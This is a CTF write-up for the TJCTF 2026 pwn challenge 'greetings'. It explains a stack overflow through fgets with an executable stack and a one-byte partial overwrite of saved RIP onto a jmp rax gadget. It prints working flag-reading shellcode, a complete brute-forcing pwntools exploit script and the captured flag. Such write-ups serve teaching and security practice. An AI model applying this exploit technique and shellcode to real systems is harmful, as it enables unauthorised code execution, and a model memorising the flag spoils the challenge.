Greetings
Author: Jordan Lanham Event: TJCTF 2026 Category: pwn Date: May 15, 2026 Read Time: 6 minutes
Overview
A small ELF binary that asks for a username size, then fgets's that many
bytes into a 64-byte stack buffer. The buffer is stack-resident, NX is off
(GNU_STACK flags = RWX), and there is no stack canary. PIE is enabled and
no leak channel exists (fgets's mandatory NUL terminator bounds the only
printf's output to bytes we already control).
The intended trick is a 1-byte partial overwrite of saved RIP to land on a
jmp rax gadget at PIE_base + 0x10df. Because fgets returns the address of
its buffer in RAX -- and because choosing a first byte that isn't '@' skips
the conditional printf and therefore preserves RAX -- the jmp rax lands
directly on our shellcode on the executable stack.
The partial overwrite succeeds in 1/16 of connections (random PIE nibble must equal 0xF for the carry math to match the target's byte 1), so we just retry until a flag-reading shellcode produces output.
Challenge Description
Greetings from TJ to you. Find the exploit, yes please do. nc tjc.tf 31373
Files provided: greetings, libc.so.6, ld-linux-x86-64.so.2,
greetings.c, Dockerfile, run.sh, flag.txt (fake placeholder)
Endpoints: nc tjc.tf 31373
Initial Analysis
checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
GNU_STACK flags = 7 (RWX), so the stack is executable.
Source (greetings.c):
void greetUser() {
int uname_size;
char uname[64];
printf("Enter the size of your username: ");
scanf("%d", &uname_size);
getchar();
uname_size += 2;
printf("Enter username (start with @): ");
fgets(uname, uname_size, stdin);
if (*(char *) uname == '@') {
printf("Greetings to you: %s!", uname);
}
}
Stack layout for greetUser (after pushq %rbx; subq $0x50, %rsp):
[rsp + 0x0c] uname_size (int, 4 bytes)
[rsp + 0x10] uname[64] -- our 64-byte fgets target
[rsp + 0x50] saved %rbx
[rsp + 0x58] saved RIP -- main+9 = PIE_base + 0x1089
So 72 bytes of pad before saved RIP -- plain stack BoF -- and a stack already marked executable.
Solution Approach
Step 1: Find a usable PIE-relative gadget
Disassembling the binary turns up two jmp rax instructions (the standard
ff e0 byte sequence) inside the compiler-emitted TM clone helpers:
0x10df ff e0 jmp rax (deregister_tm_clones)
0x1120 ff e0 jmp rax (register_tm_clones)
Both live well inside the executable text segment.
Step 2: Realise RAX = address of uname after fgets
fgets returns its buffer pointer in RAX per the SysV ABI. In greetUser:
call fgets@plt ; rax = uname (= rsp+0x10)
cmpb $0x40, 0x10(%rsp) ; if uname[0] == '@' ...
je .Lprintf ; ... call printf (clobbers rax)
add $0x50, %rsp
pop %rbx
ret
The instructions between fgets's return and ret do not touch RAX as long
as we make uname[0] != '@'. Then ret -> overwritten saved RIP, and if that
overwrite lands on jmp rax, we jump straight to our buffer. Stack is RWX,
so the shellcode there executes.
Step 3: 1-byte partial overwrite math
Saved RIP at greetUser's ret is base + 0x1089 (main+9, where main resumes
after call greetUser). PIE base is page-aligned: base = ...X000 with
random nibble X in bits 12..15. Bytes (LE):
saved RIP original = [0x89, ((X+1)<<4) mod 256, b2 + carry, b3, b4, b5, b6, b7]
When we send exactly 73 chars to fgets (uname_size = 72, so n = 74, fgets
reads up to 73 chars), the last byte we write lands at uname[72] = saved
RIP byte 0, and fgets places its mandatory NUL at uname[73] = saved RIP
byte 1. We choose payload byte 72 = 0xdf (low byte of our target 0x10df).
After the write:
saved RIP final = [0xdf, 0x00, b2 + carry, b3, b4, b5, b6, b7]
Target base + 0x10df (low 16 bits = 0x10df with byte 0 = 0xdf, byte 1 = 0x10):
target = [0xdf, ((X+1)<<4 + 0x10) mod 256, b2 + carry, b3, b4, b5, b6, b7]
The two match iff ((X+1)<<4 + 0x10) mod 256 == 0x00, i.e. ((X+1)<<4) == 0xF0
and a carry takes byte 1 to 0x00 -- which happens exactly when X = 0xF.
Byte 2's carry-from-byte-1 is then identical in both arithmetic chains, so
byte 2 also matches automatically.
Probability per connection: 1/16.
Step 4: Shellcode that opens /flag.txt
A small under-64-byte shellcode that does open("/flag.txt") -> read -> write -> exit:
lea rdi, [rip+path] ; "/flag.txt\0"
xor esi, esi
xor edx, edx
push 2 ; SYS_open
pop rax
syscall ; rax = fd
mov rdi, rax
mov rsi, rsp
push 0x100
pop rdx
xor eax, eax ; SYS_read
syscall ; rax = bytes read
mov rdx, rax
mov rsi, rsp
push 1
pop rdi
push 1 ; SYS_write
pop rax
syscall
push 0x3c ; SYS_exit
pop rax
xor edi, edi
syscall
path: .ascii "/flag.txt\0"
Comes out at 63 bytes -- just under 64, so it fits in uname[0..62], with
one slot of NOP filler before the 8-byte rbx pad and the single saved-RIP
partial-overwrite byte.
Code / Exploit
_workspace/sol_greetings_v4.py:
#!/usr/bin/env python3
from pwn import *
import sys, time
HOST, PORT = 'tjc.tf', 31373
context.arch = 'amd64'
context.log_level = 'error'
sc = asm(r'''
lea rdi, [rip+path]
xor esi, esi
xor edx, edx
push 2 ; pop rax
syscall
mov rdi, rax
mov rsi, rsp
push 0x100 ; pop rdx
xor eax, eax
syscall
mov rdx, rax
mov rsi, rsp
push 1 ; pop rdi
push 1 ; pop rax
syscall
push 0x3c ; pop rax
xor edi, edi
syscall
path: .ascii "/flag.txt\0"
''')
assert len(sc) <= 64
PAYLOAD = sc.ljust(64, b'\x90') + b'B' * 8 + b'\xdf' # 73 bytes total
assert PAYLOAD[0] != 0x40 # uname[0] must NOT be '@' so RAX survives
def try_once():
try:
io = remote(HOST, PORT, timeout=3)
except Exception:
return b''
try:
io.recvuntil(b': ', timeout=2)
io.sendline(b'72') # uname_size; +2 -> fgets n=74 -> reads 73 chars
io.recvuntil(b': ', timeout=2)
io.send(PAYLOAD) # NO newline
time.sleep(0.3)
try: return io.recvall(timeout=2)
except Exception: return b''
finally:
try: io.close()
except: pass
for i in range(500):
out = try_once()
if b'tjctf{' in out:
print(out.decode('latin-1', errors='replace'))
sys.exit(0)
if (i + 1) % 16 == 0:
print(f'... {i+1} attempts', file=sys.stderr)
Run output (hit on attempt #N with N ~< 30 typical):
$ python3 sol_greetings_v4.py
... 16 attempts
=== FLAG ===
Enter username (start with @): tjctf{rAx_h01ds_r3t_v@lS?_189278}
Technical Details
- Vulnerability class: stack-based buffer overflow (no canary)
- Mitigations: PIE enabled, partial RELRO, executable stack (RWX in
PT_GNU_STACK), no canary. - Primitive:
fgets(buf, uname_size+2, stdin)with attacker-controlleduname_sizewrites past saved RIP. - Key trick:
fgetsreturns its buffer pointer in RAX. By makinguname[0] != '@'we skip the conditional printf, so RAX survives all the way to greetUser'sret. A 1-byte partial overwrite redirecting saved RIP to thejmp raxgadget at PIE+0x10df then jumps straight to our shellcode on the executable stack. - Why exactly 1 byte: fgets places its terminator NUL at the byte immediately after the last data byte. Writing 73 bytes makes that NUL land on saved RIP byte 1, which we WANT to be zero in the lucky case.
- Probability: PIE base
...X000matches the target's byte 1 only when X = 0xF (carries identically through bytes 1->2 for both saved-RIP-original and target-address). 1/16 per connection.
Key Insights
- fgets's mandatory NUL is a feature, not just a bug: by sending exactly N bytes (no newline), the NUL goes at byte N -- which is exactly what we want for a 1-byte partial overwrite of saved RIP that needs the high byte zeroed. Stop trying to defeat the NUL; design around it.
- RAX is preserved across non-clobbering instruction sequences after a
function returns into rax. A skip-the-printf branch (
uname[0] != '@') is what makes thejmp raxgadget chain to a buffer we just controlled. - PIE bits 12..15 leak via crashes: 1/16 attempts return non-segfault output. When you have no leak, you DO have the ability to differentiate base nibble values by ret-target -- if your gadget has the right arithmetic alignment (carry semantics on byte 1), one nibble value succeeds and the rest crash. Treat it as a 1/16 brute force.
__isoc23_scanf("%d", ...)truncates large integers to 32-bit instead of reporting overflow; useful to remember even though this exploit didn't end up needing huge sizes.
The Flag
tjctf{rAx_h01ds_r3t_v@lS?_189278}